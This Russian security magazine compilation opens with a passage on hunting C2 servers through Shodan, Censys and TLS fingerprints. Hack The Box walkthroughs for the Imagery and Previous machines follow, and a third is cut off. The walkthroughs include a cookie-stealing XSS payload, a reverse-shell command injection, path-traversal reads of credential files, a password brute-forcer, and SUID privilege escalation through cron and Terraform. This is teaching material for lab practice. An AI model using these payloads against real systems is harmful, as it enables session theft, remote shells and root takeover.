ма с зараженными вложениями или со ссылками на внешние ресурсы, откуда
загружается вредоносный код. Такими ресурсами могут быть открытые
директории, CDN или легитимные платформы вроде GitHub.

На этапе получения контроля злоумышленники активно используют C2-
серверы. Это  могут быть специализированные решения, разработанные
под конкретную атаку и распространяемые на платной основе, или C2-фрей‐
мворки с открытым исходным кодом. К последним относятся такие популяр‐
ные фреймворки, как Cobalt Strike, Mythic и Havoc.

КАКИЕ ИНСТРУМЕНТЫ ИСПОЛЬЗУЮТ ДЛЯ ОБНАРУЖЕНИЯ
ВРЕДОНОСНОЙ ИНФРАСТРУКТУРЫ?

Чтобы найти компоненты вредоносной инфраструктуры, ИБ‑исследователи
используют специальные поисковые системы, сканеры, анализаторы трафика
и открытые базы данных индикаторов компрометации (IoC).

Поисковые системы: Shodan, Censys, Fofa и другие
Эти сервисы индексируют устройства, подключенные к  интернету. У  каждой
системы свой синтаксис запросов, поэтому можно искать по  разным клю‐
чевым словам. Однако поисковики все равно могут выдавать разные резуль‐
таты.

Например, в   запрос  вернет около  56  миллионов

хостов. В   похожий запрос найдет примерно  21  миллион. Чтобы
получить более полную картину, лучше использовать несколько поисковых
систем одновременно.

Shodan product:nginx
Censys

Все эти сервисы предоставляют API, поэтому их легко встроить в свои плат‐
формы и обрабатывать данные в привычной среде.

VirusTotal
Это  для  анализа файлов, IP-адресов, доменов и  URL. Он поддержи‐
вает множество функций и  интегрируется со  сторонними системами обна‐
ружения и инструментами для анализа вредоносности артефактов.

сервис

Чтобы давать информацию о  вредоносном артефакте, VirusTotal исполь‐
зует датасеты. Они лежат в  основе платформы, структурируют данные
об артефактах и показывают взаимосвязи между ними.

Чтобы обратиться к VirusTotal через графический интерфейс, пользователь
вводит запрос: URL, домен, хеш файла (MD5, SHA-1  или  SHA-256) или  IP-
адрес. После этого VirusTotal находит соответствующий артефакт и связанную
с  ним информацию в  датасете и  показывает эти данные в  виде отчета
по веб‑анализу.

Urlscan.io
Этот  позволяет безопасно исследовать потенциально вредоносные
веб‑ресурсы. Он показывает информацию об  HTTP-транзакциях, содер‐
жимом страницы, DOM-снимках, скриншотах, а также связанных индикаторах:
IP-адресах, доменах, хешах файлов. Это особенно полезно, когда нужно изу‐
чить ресурс, не посещая его напрямую.

сервис

Открытые базы данных, например abuse.ch
В проект  входят несколько платформ, например:abuse.ch

MalwareBazaar — хранилище вредоносных образцов;•
SSL Blacklist — база вредоносных TLS‑сертификатов;•
URLhaus — сервис для сбора и отслеживания вредоносных URL‑адресов;•
ThreatFox — открытая база индикаторов компрометации.•

Как анализировать полученные данные и какие бывают паттерны
поиска?
Эти инструменты выдают массу данных, но  полезно далеко не  все. Чтобы
вытащить нужное, используют разные паттерны поиска, например:

заголовок HTTP;•
элементы HTML:  и  ;• title body
значок сайта (favicon);•
сертификаты безопасности;•
отпечаток TLS (TLS fingerprinting).•

Это не  все паттерны, которые можно использовать, но  они могут стать
отправной точкой для твоего исследования.

Рассмотрим каждый из паттернов подробнее.

HTTP-заголовки
Можно анализировать как  стандартные, так и  нестандартные заголовки:
Server, ETag, Content-Type, Public и  другие. Например, C2-серверы Cobalt
Strike часто выдают себя таким набором заголовков:

HTTP/1.1 404 Not Found
Date: Day, DD Mmm YYYY HH:MM:SS GMT
Content-Type: text/plain
Content-Lenght: 0

Далее рассмотрим   — фреймворк с  открытым исходным кодом.
Если внимательно изучить , можно найти файл 

с  параметрами для  настройки C2-сервера. На  их основе можно сфор‐
мировать поисковый запрос:

Mythic C2
репозиторий config.json

port: 80 Cache-Control: max-age=0, no-cache Connection: keep-alive 
Content-Type: application/javascript; charset=utf-8 Pragma: no-cache 
Server: NetDNA-cache/2.2; ASN: AS14061

В недавнем кейсе мы нашли двадцать хостов, подходящих под эти парамет‐
ры. Анализ одного из них показал множество открытых портов, включая нес‐
тандартные, и запущенный Mythic C2. VirusTotal тоже помечает такие серверы
как вредоносные.

Элементы HTTP  и <title> <body>
  — это  заголовок веб‑страницы, отображаемый в  браузере, а    —

ее HTML-содержимое. Поисковый запрос имеет смысл строить по ключевым
словам, которые ассоциируются с  C2, вредоносным ПО, злоумышленником
или  другой опасной сущностью в  твоем исследовании. Например, поиск
по ключевым словам вроде login, panel, c2, stealer или по названиям вредоно‐
сов помогает находить управляющие панели. Поисковый запрос в  Shodan
выглядит так:

Title body

http.title:"C2 Panel"

Чтобы найти открытые директории с вредоносными файлами, в Censys можно
использовать такой запрос (на примере Sliver C2):

(services.http.response.html_tags: "Index of /" or "Directory 
Listing for /") and services.http.response.body: "sliver")

Favicon
Favicon — значок сайта, который показывает браузер во вкладке. Для поиска
можно использовать хеш изображения, например MurmurHash3, который
поддерживают Shodan и  Censys. Сгенерировать хеш можно следующим
скриптом:

 import mmh3
 import requests
 import codecs

  response = requests.get('https://domain.com/favicon.ico')
  favicon = codecs.encode(response.content,"base64")

print(mmh3.hash(favicon))

Анализ фавиконок также полезен при  поиске фишинговых ресурсов. Взяв
иконку легитимного ресурса, например Netflix, можно найти домены, исполь‐
зующие этот значок, но ведущие на поддельные страницы.

Сертификаты
Еще один полезный паттерн  — поиск по  сертификатам, точнее, по  их атри‐
бутам, таким как:

серийный номер сертификата;•
поля issuer и subject, где злоумышленники иногда указывают название сво‐
его вредоносного ПО или фреймворка C2.

•

Примеры запросов для поиска в Shodan серверов, связанных с OrcusRAT:

ssl.cert.serial:9b7c73f9e35ae5663d239b046beab9
ssl.cert.issuer.cn:"Quasar Server CA"
ssl.cert.subject.cn:"Quasar Server CA"

TLS fingerprinting
Помимо поиска по  атрибутам сертификатов, можно использовать методы
TLS-фингерпринтинга:

  — пассивный метод фингерпринтинга клиентской части TLS-рукопо‐

жатия. Собирает нужные данные из  пакета Client Hello и  формирует  32-
символьный MD5-хеш, по  которому можно идентифицировать вредонос‐
ное ПО.

• JA3

 — пассивный метод фингерпринтинга серверной части TLS-рукопо‐

жатия, аналог JA3 для Server Hello. Используется для идентификации C2-
серверов.

• JA3s

  — активный метод фингерпринтинга. Отправляет десять пакетов

Client Hello, извлекает из ответов сервера нужные данные и формирует 62-
символьный хеш: первые 30 символов — версии и шифры TLS, оставши‐
еся  32  — SHA-256-хеш расширений сервера. Эффективен для  поиска
компонентов вредоносной инфраструктуры.

• JARM

 — набор методов фингерпринтинга, улучшенная версия JA3 и JA3s.

В отличие от предыдущих методов, JA4+ представлены в удобном для чте‐
ния формате и  для людей, и  для систем, что повышает эффективность
поиска и анализа угроз. Дополнительную информацию смотри в 

.

• JA4+

докумен‐
тации JA4+

Предположим, у нас есть IP-адрес для анализа. Проверив его в VirusTotal, мы
увидим, что он связан с  большим количеством потенциально опасных фай‐
лов.

Попробуем найти похожие хосты. Для  этого используем JARM сервера:
JA3  и  JA3s уже устарели, а  JA4+ относительно новый и  поддерживается
не  всеми поисковыми системами. Поэтому остановимся на  JARM как  на
самом распространенном методе. Построим в Shodan такой поисковый зап‐
рос (значение JARM сервера можно взять прямо из VirusTotal):

ssl.jarm:
27d27d27d29d27d00042d42d000000c2e0293a1b1651a6ff2a5a0cba2b4d7f

В итоге мы получили более 800 хостов, и большая часть из них не вредонос‐
на. Чтобы отсеять такие «ложные срабатывания», нам нужно собрать больше
информации.

Для начала проанализируем исходный IP-адрес. Видим, что на  хосте
открыт 80‑й порт и можно посмотреть его заголовки.

Модифицируем наш запрос:

ssl.jarm:
27d27d27d29d27d00042d42d000000c2e0293a1b1651a6ff2a5a0cba2b4d7f 
Server: ipwhois

Мы сократили выдачу до семи хостов с похожими элементами.

Если мы проверим эти хосты в VirusTotal, то увидим, что они связаны с доволь‐
но большим количеством вредоносных файлов. И  хотя сами адреса могут
быть легитимными, анализ связанных с ними вредоносных файлов может дать
ценную информацию для нашего исследования.

РЕКОМЕНДАЦИИ

Поиск инфраструктуры злоумышленников требует одновременно структурно‐
го и творческого подхода. При проведении собственного исследования:
1.  Сначала разбери

один индикатор, пойми его свойства и  связи, найди по  ним совпадения
с другими индикаторами, а уже потом переходи к следующим.

Начинай с  малого и  расширяй поиск постепенно.

2.  Анализируй его
поведение в ходе атаки, обращай внимание на повторяющиеся сценарии,
используемые инструменты и техники.

Ищи закономерности в  действиях атакующего.

3.  Ни один источник не даст

всей нужной информации, поэтому комбинируй несколько, чтобы получить
максимально полную и достоверную картину.

Сопоставляй данные из разных источников.

mailto:cybercamp@authors.glc.ru
https://www.shodan.io/
https://search.censys.io/
https://www.virustotal.com/gui/
https://urlscan.io/
https://abuse.ch/
https://docs.mythic-c2.net/home
https://github.com/its-a-feature/Mythic
https://github.com/FoxIO-LLC/ja4?tab=readme-ov-file
https://github.com/FoxIO-LLC/ja4?tab=readme-ov-file
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ВЗЛОМ

В сегодняшнем райтапе, чтобы получить
сессию на сервере на Linux, мы проэксплу‐
атируем цепочку уязвимостей XSS, LFI и OS
Command Injection. Затем раздобудем учет‐
ные данные из  базы сайта и  повысим при‐
вилегии через Charcol Shell.

Наша конечная цель — получить права суперпользователя на машине 
с учебной площадки . Уровень сложности задания — средний.

Imagery
Hack The Box

WARNING

К машинам HTB лучше подключаться через
средства анонимизации и  виртуализации.
Не делай этого с компьютеров, где хранятся важ‐
ные для тебя данные: ты окажешься в общей сети
с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  ./etc/hosts

10.10.11.88    imagery.htb

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Подробнее про  работу с  Nmap читай в  статье «
».

Nmap с  самого начала.
Осваиваем разведку и сканирование сети

Результат работы скрипта

Сканер нашел два открытых порта.
22 — служба OpenSSH 9.7p1;•
8000 — веб‑сервер на Werkzeug 3.1.3 (Python 3).•

Скоуп маленький, переходим к сайту на веб‑сервере.

Главная страница сайта

ТОЧКА ВХОДА

На сайте можно зарегистрироваться. Создаем учетную запись и  входим
в аккаунт.

Главная страница авторизованного пользователя

Находим ссылку на форму для отчетов об ошибках.

Форма для репорта

Так как  сообщения будут просмотрены, попробуем отправить XSS-нагрузку,
которая пришлет на наш веб‑сервер куки пользователя, открывшего репорт.

Запускаем сервер:

python -m http.server

И отправляем такую нагрузку:

  <img src=x onerror="document.location='http://10.10.15.73:8000/?c='+ 
document.cookie">

Форма для репорта

Логи веб‑сервера

Сохраняем полученные куки в хранилище Chrome и переходим в админку.

Хранилище браузера

Панель администратора

В панели администратора можно скачать логи.

ТОЧКА ОПОРЫ

Чтение произвольных файлов
Механизм загрузки логов посмотрим через . Здесь имя файла

для загрузки передается в GET-параметре .

Burp Proxy

log_identifier

Запрос в Burp Proxy

Попробуем получить содержимое произвольного файла с обходом каталога.
Для теста запросим ./etc/passwd

/admin/get_system_log?log_identifier=../../../../../../etc/passwd

Содержимое файла /etc/passwd

Мы нашли уязвимость LFI.

INFO

Подробнее о  том, как  работают LFI-уязвимости,
читай в статье «

».
File Inclusion и Path Traversal. Раз‐

бираем две базовые веб‑уязвимости

Вытащим переменные окружения процесса веб‑сервера из  файла 

.

/proc/
self/environ

/admin/get_system_log?log_identifier=../../../../../../proc/self/
environ

Переменные окружения

Ничего интересного, кроме домашнего каталога, не  находим. Раз веб‑при‐
ложение написано на  Python, найдем файл  и  посмотрим его содер‐

жимое.

app.py

/admin/get_system_log?log_identifier=../app.py

Содержимое файла app.py

В списке импортов видим  — это содержимое файла .config config.py

/admin/get_system_log?log_identifier=../config.py

Содержимое файла config.py

В  указан файл базы данных в формате JSON — . Скорее

всего, в базе есть что‑то полезное, так что забираем и ее содержимое.

config.py db.json

/admin/get_system_log?log_identifier=../db.json

Содержимое файла db.json

В файле есть учетные данные двух пользователей. Хеши по формату похожи
на  MD5, попробуем восстановить пароли на  сайте  через

готовые базы.

CrackStation

Результат взлома хешей

Получаем пароль от учетной записи  и заходим на сайт.testuser

Главная страница учетной записи testuser

Удаленное выполнение кода
Нам становится доступна страница редактирования загруженных изоб‐
ражений. Логика этой функции описана в файле . В коде видно

создание в  системе новых процессов через . Выполняемая

команда формируется в  зависимости от  способа редактирования изоб‐
ражения.

api_edit.py
subprocess.run

Содержимое файла api_edit.py

Попробуем отредактировать изображение, а затем посмотрим запрос в 

.

Burp

History

Форма редактирования изображения

Burp History

Все параметры из  поля  передаются в  команду на  сервере, поэтому
в   попытаемся указать реверс‑шелл.

params
x

{
    "imageId":"49512cdb-58a2-44b1-a38a-957c2786a507",
    "transformType":
    "crop",
    "params":{
        "x":"; /bin/bash -c " /bin/bash -i >& /dev/tcp/10.10.15.73/
4321 0>&1";",
        "y":0,
        "width":718,
        "height":718
    }
}

Поднимаем листенер:

pwncat-cs -lp 4321

А теперь через  отправляем запрос на  сервер. В  итоге

получаем сессию от имени пользователя .

Burp Repeater

web

Запрос на сервер

Сессия пользователя web

ПРОДВИЖЕНИЕ

Теперь нужно собрать информацию. Я буду использовать для этого скрипты
PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим ему права на  выпол‐
нение и запустим сканирование. В выводе будет много данных, но нас инте‐
ресует зашифрованный архив с  сайтом 

в каталоге .

web_20250806_120723.zip.aes
/var/backup

Найденные бэкапы

Используем утилиту , чтобы получить информацию о файле. Так узнаем,

что архив зашифрован с помощью .

file
pyAesCrypt 6.1.1

Проверка типа файла

Продолжение статьи →
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HTB IMAGERY
ЭКСПЛУАТИРУЕМ ЦЕПОЧКУ

УЯЗВИМОСТЕЙ XSS, LFI И RCE

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Готового брутфорсера для  pyAesCrypt я не  нашел, поэтому попросил
ChatGPT быстро накидать скрипт. Он в многопоточном режиме пытается рас‐
шифровать указанный файл pyAesCrypt с каждым паролем из списка и, если
получается, сохраняет результат.

 import pyAesCrypt
 import os
 import io
 import threading
 import queue
 import sys

   from threading import Lock
 import time

 class PyAesCryptBruteForcer:
          def __init__(self, encrypted_file, buffer_size=64 * 1024,
num_threads=8):

          self.encrypted_file = encrypted_file
          self.buffer_size = buffer_size
          self.num_threads = num_threads

          self.file_size = os.path.getsize(encrypted_file)
          self.found = False

          self.found_password = None
          self.lock = Lock()

          self.attempts = 0
          self.stop_event = threading.Event()

      def test_password(self, password):
        try:

                with open(self.encrypted_file, 'rb') as fIn:
                  fOut = io.BytesIO()

                pyAesCrypt.decryptStream(
                      fIn, fOut, password,

                     self.buffer_size, self.file_size
                )

                 return True
         except Exception:

             return False

      def worker(self, password_queue):
          while not self.stop_event.is_set():

            try:
                  password = password_queue.get(timeout=0.5)

             except queue.Empty:
                continue

            # Skip if password already found
             if self.stop_event.is_set():

                password_queue.task_done()
                break

             with self.lock:
                  self.attempts += 1

                     if self.attempts % 5000 == 0:
                    print(f"[*] Attempts: {self.attempts}")

             if self.test_password(password):
                 with self.lock:

                      if not self.found:
                          self.found = True

                          self.found_password = password
                        print(f"\n[+] PASSWORD FOUND: {password}")
                        print(f"[+] Total attempts: {self.attempts}")
                        print("[*] Saving decrypted file...")
                        self._save_decrypted_file()
                        self.stop_event.set()

            password_queue.task_done()

      def brute_force_dictionary(self, dictionary_file):
          if not os.path.exists(dictionary_file):

            print(f"[!] Dictionary not found: {dictionary_file}")
             return False

          if not os.path.exists(self.encrypted_file):
            print(f"[!] Encrypted file not found: {self.
encrypted_file}")

             return False

        print(f"[*] Starting brute force attack on: {self.
encrypted_file}")
        print(f"[*] Using dictionary: {dictionary_file}")
        print(f"[*] Number of threads: {self.num_threads}\n")

          password_queue = queue.Queue(maxsize=5000)

        # Start worker threads
          threads = []

           for i in range(self.num_threads):
   

 
            t = threading.Thread(target=self.worker, args=(
password_queue,), daemon=True)
            t.start()
            threads.append(t)

        # Load passwords from dictionary
        try:

    
  

            with open(dictionary_file, 'r', encoding='utf-8', errors=
'ignore') as f:

                   for line in f:
                      password = line.strip()

                        if password and not self.stop_event.is_set():
                        password_queue.put(password)

            print("[*] Dictionary loaded, waiting for workers...")

            # Wait for queue to be processed or password found
                 while not password_queue.empty() and not self.stop_event.

is_set():
                time.sleep(0.1)

            # Wait a bit more for threads to finish
            time.sleep(1)

            # Signal threads to stop
            self.stop_event.set()

            # Wait for all threads to finish
               for t in threads:

                t.join(timeout=2)

             if self.found:
                 return True

            else:
                print(f"\n[-] Password not found. Total attempts: {
self.attempts}")

                 return False

         except KeyboardInterrupt:
            print(f"\n[!] Interrupted by user. Total attempts: {self.
attempts}")
            self.stop_event.set()

               for t in threads:
                t.join(timeout=1)

             return False
           except Exception as e:

            print(f"[!] Error: {e}")
            self.stop_event.set()

             return False

     def _save_decrypted_file(self):
          if not self.found_password:

            print("[!] No password available for decryption")
             return False

        try:
            # Determine output filename

             if self.encrypted_file.endswith('.aes'):
                    output_file = self.encrypted_file[:-4] + '_decrypted'

            else:
                    output_file = self.encrypted_file + '_decrypted'

            # Decrypt and save
            pyAesCrypt.decryptFile(
                self.encrypted_file,
                output_file,
                self.found_password,
                self.buffer_size
            )

              file_size = os.path.getsize(output_file)
            print(f"[+] File successfully decrypted!")
            print(f"[+] Output file: {output_file}")
            print(f"[+] File size: {file_size} bytes")

             return True

           except Exception as e:
            print(f"[!] Error during decryption: {e}")

             import traceback
            traceback.print_exc()

             return False

   if __name__ == "__main__":
     import sys

       if len(sys.argv) < 3:
        print("Usage: python bruteforcer.py <encrypted_file> <
dictionary_file> [num_threads]")
        print("Example: python bruteforcer.py file.aes passwords.txt 
8")
        sys.exit(1)

      encrypted_file = sys.argv[1]
      dictionary_file = sys.argv[2]
            num_threads = int(sys.argv[3]) if len(sys.argv) > 3 else 8

       forcer = PyAesCryptBruteForcer(encrypted_file, num_threads=
num_threads)
      success = forcer.brute_force_dictionary(dictionary_file)

        sys.exit(0 if success else 1)

Расшифровывание архива

В бэкапах первым делом проверяем файл  с учетными данными.db.json

Содержимое файла db.json

Снова проверяем хеши по  готовым базам  и  получаем новый
пароль.

CrackStation

Результат взлома хешей

С полученными учетными данными авторизуемся по  SSH от  имени поль‐
зователя .web

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Одно из  первых мест, которые нужно проверить при  повышении привиле‐
гий, — это настройки sudoers. Получить их можно командой .sudo -l

Настройки sudoers

Судя по настройкам sudoers, мы можем запускать 

от  имени  без  пароля. Справка  показывает, что это  приложение
создает зашифрованные ZIP‑архивы.

/usr/local/bin/charcol
root help

Справка help

Опция  сбрасывает пароль приложения до  дефолтного. Сбрасываем

пароль и запускаем команду , чтобы задать свой пароль.

-R
shell

sudo /usr/local/bin/charcol -R

Сброс пароля Charcol

sudo /usr/local/bin/charcol shell

Изменение пароля приложения

Когда все готово, повторим запуск  и авторизуемся в приложении.shell

Charcol Shell

Запрашиваем  для команды  и изучаем возможности приложения.

Интересно, что оно позволяет нам настраивать crontab — а это прямой путь
к повышению привилегий.

help shell

Help для Сharcol Shell

Создаем задачу cron с  командой , которая назначит
файлу оболочки  S-бит.

chmod u+s /bin/bash
/bin/bash

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

    
 

auto add --schedule "* * * * *" --command "chmod u+s /bin/bash"
--name "privesc"

Создание задачи

Затем проверяем права  и видим установленный S-бит./bin/bash

Права /bin/bash

/bin/bash -p

Флаг рута

Машина захвачена! © X

https://crackstation.net/
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ВЗЛОМ

Сегодня я покажу, как можно захватить кон‐
троль над  сервером, повысив привилегии
через Terraform  — популярный инструмент
управления инфраструктурой. По  дороге
используем уязвимость во  фреймворке
Next.js, после чего проэксплуатируем LFI
и добудем учетные данные.

Наша цель — получение прав суперпользователя на машине Previous с учеб‐
ной площадки . Уровень сложности задания — средний.Hack The Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.83    previous.htb

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 8.9p1;•
80 — веб‑сервер Nginx 1.18.0.•

На веб‑сервере нас встречает одностраничный сайт.

Главная страница сайта

ТОЧКА ВХОДА

На сайте ничего интересного не  находим, поэтому приступим к  сканиро‐
ванию.

Справка: сканирование веба c feroxbuster
Одно из  первых действий при  тестировании безопасности веб‑приложе‐
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде ,  или  . Я предпочитаю

.
dirsearch DIRB ffuf

feroxbuster
При запуске указываем следующие параметры:

 — URL;• -u
 — глубина сканирования;• -d
 — количество потоков;• -t
 — словарь (я использую словари из набора ).• -w SecLists

Задаем все параметры и запускаем :feroxbuster

 1  128 feroxbuster -u http://previous.htb -d -t -w directory_2.3_
medium.txt

Результат сканирования каталогов с помощью feroxbuster

Кроме эндпоинтов , отметим типичный для  Next.js хендл . Если

посмотреть на ответ сервера в Burp Proxy, то увидим то же самое и в заголов‐
ке .

/api /_next

X-Powered-By

Запрос и ответ сервера в Burp Proxy

Первым делом ищем в Google, есть ли для обнаруженной технологии готовые
эксплоиты.

Поиск эксплоитов в Google

Вторая  ведет на  блог, где разбирается уязвимость ,
позволяющая обходить авторизацию в  Next.js при  передаче специального
HTTP-заголовка . Использовать этот заголовок
предполагалось только внутри фреймворка для  пропуска промежуточных
функций. Попробуем получить доступ к странице .

ссылка CVE-2025-29927

x-middleware-subreques

/docs

X-Middleware-Subrequest: x-middleware-subrequest:middleware:
middleware:middleware:middleware:middleware

Обход авторизации

В ответ получаем код  200  и  содержимое страницы , а  значит, уяз‐
вимость есть.

/docs

ТОЧКА ОПОРЫ

В настройках  переходим к  Proxy Settings → Tools → Proxy →

Match and  Replace rules и  создаем правило, чтобы в  каждый запрос через
прокси добавлялся заголовок .

Burp Proxy

X-Middleware-Subrequest

Правило для вставки заголовка

Теперь через Burp Proxy можно открывать в  браузере любую ранее недос‐
тупную страницу.

Содержимое страницы docs

В меню страницы переходим к  Examples, где есть функция скачивания пол‐
ного кода примера.

Содержимое страницы Examples

Если взглянуть на историю запросов в Burp Proxy, то увидим, как именно ска‐
чивается файл с кодом примера.

Запрос в Burp History

Загружаемый файл передается в  GET-параметре . Попробуем про‐

читать произвольный файл, например , для  чего укажем путь

к файлу с обходом каталога.

example
/etc/passwd

/api/download?example=../../../../../../etc/passwd

Содержимое файла /etc/passwd

INFO

Подробнее о  том, как  работает уязвимость LFI,
читай в статье «

».
File Inclusion и Path Traversal. Раз‐

бираем две базовые веб‑уязвимости

Эксплуатация LFI
Первым делом просмотрим переменные окружения текущего процесса.

GET /api/download?example=../../../../../../proc/self/environ

Переменные окружения приложения

Ничего нового не  узнали. Так как  приложение написано на  Node.js, найдем
где‑то рядом с текущим рабочим каталогом файл  — это файл

манифеста проекта в  Node.js. Здесь содержатся метаданные проекта (наз‐
вание, версия, описание, автор) и список зависимостей.

package.json

GET /api/download?example=../../package.json

Содержимое файла package.json

Теперь проверим файл  в  каталоге .

Это  внутренний файл манифеста, созданный Next.js в  процессе сборки. Он
играет решающую роль в  том, как  Next.js обрабатывает маршрутизацию
и рендеринг на стороне сервера.

pages-manifest.json .next/server/

GET /api/download?example=../../.next/server/pages-manifest.json

Содержимое файла pages-manifest.json

В списке видим  — это файл маршрутизатора в приложе‐
нии Next.js, отвечающий за настройку аутентификации с помощью библиотеки
Auth.js.

[...nextauth].js

GET /api/download?example=../../.next/server/pages/api/auth/[...
nextauth].js

Содержимое файла [...nextauth].js

В файле находим пароль, который, как  оказалось, подходит к  сервису SSH
для пользователя .jeremy

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь нам необходимо собрать информацию. Я буду использовать для это‐
го скрипты PEASS.

Справка: скрипты PEASS
Что делать после того, как  мы получили доступ в  систему от  имени поль‐
зователя? Вариантов дальнейшей эксплуатации и  повышения привилегий
может быть очень много, как  в Linux, так и  в Windows. Чтобы собрать
информацию и  наметить цели, можно использовать 

 (PEASS)  — набор скриптов, которые проверяют сис‐
тему на  автомате и  выдают подробный отчет о  потенциально интересных
файлах, процессах и настройках.

Privilege Escalation
Awesome Scripts SUITE

Загрузим на  удаленный хост скрипт для  Linux, дадим право на  выполнение
и запустим сканирование. Посмотрим, что можно выудить из вывода.

Настройки sudoers можно получить только с  указанием пароля поль‐
зователя.

Вывод sudo -l

На сервере есть файлы Terraform.

Файлы Terraform

Получим настройки sudoers вручную, указав пароль пользователя. Мы можем
выполнить такую команду в привилегированном контексте от имени :root

/usr/bin/terraform -chdir=/opt/examples apply

Также обрати внимание на опцию  , которая не очищает перемен‐

ные окружения. Очищается только  через параметр .

!env_reset
PATH env_delete

Настройки sudoers

Terraform — это инструмент, который позволяет описывать и развертывать IT-
инфраструктуру, такую как  виртуальные машины, сети и  базы данных,
с  помощью декларативных конфигурационных файлов. Это  обеспечивает
автоматизацию, повторяемость, контроль версий и  снижение числа ошибок
по сравнению с ручным управлением. Примеры скриптов для Terraform лежат
в каталоге ./opt/examples

Содержимое каталога examples

На основе конфига мы можем создать свой и  передать его через 
в переменной окружения . В конфиге мы переопределя‐

ем каталог провайдера.

sudo
TF_CLI_CONFIG_FILE

Необходимо создать два файла. Первый  — это 
.

/home/jeremy/r/
privesc.tfrc

provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/home/jeremy/r"
  }
  direct {}
}

А второй  — это  наш «псевдопровайдер» 
, куда запишем команду .

/home/jeremy/r/terraform-
provider-examples chmod u+s /bin/bash

TF_CLI_CONFIG_FILE=/home/jeremy/r/privesc.tfrc sudo /usr/bin/
terraform -chdir=/opt/examples apply

Результат выполнения команды

Теперь проверяем атрибуты файла  и видим выставленный S-бит./bin/bash

Атрибуты файла

Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до  пользователя  — вла‐
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из‑за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Флаг рута

Машина захвачена! © X
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ВЗЛОМ

В этом райтапе я покажу, как  эксплуати‐
ровать уязвимость SSTI в  шаблонизаторе
Django, на примере получения учетки поль‐
зователя. Затем, авторизовавшись в  сис‐
теме, мы получим контекст другого поль‐
зователя через подмену файлов Django
Cache. Для  повышения привилегий рас‐
шифруем бэкапы и найдем учетные данные.

Наша конечная цель  — получение прав суперпользователя на  машине
HackNet с  учебной площадки . Уровень сложности задания  —
средний.

Hack The  Box

WARNING

Подключаться к  машинам с  HTB рекомендуется
с  применением средств анонимизации и  вир‐
туализации. Не  делай этого с  компьютеров, где
есть важные для  тебя данные, так как  ты ока‐
жешься в общей сети с другими участниками.

РАЗВЕДКА

Сканирование портов
Добавляем IP-адрес машины в  :/etc/hosts

10.10.11.85    hacknet.htb

И запускаем сканирование портов.

Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он поз‐
воляет атакующему узнать, какие службы на  хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
nmap  500  |     1 | 

 
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '
  | s/, /' ',' sed $/ )

nmap   -p$ports -A $1

Он действует в  два этапа. На  первом производится обычное быстрое ска‐
нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция ).-A

Результат работы скрипта

Сканер нашел два открытых порта:
22 — служба OpenSSH 9.2p1;•
80 — веб‑сервер Nginx 1.22.1.•

На сайте нас встречают кнопки регистрации и авторизации.

Страница логина

ТОЧКА ВХОДА

Регистрируемся и заходим на сайт. Нам открывается масса возможностей.

Главная страница сайта

На сайте уже много аккаунтов. Можно переходить к  аккаунтам, коммента‐
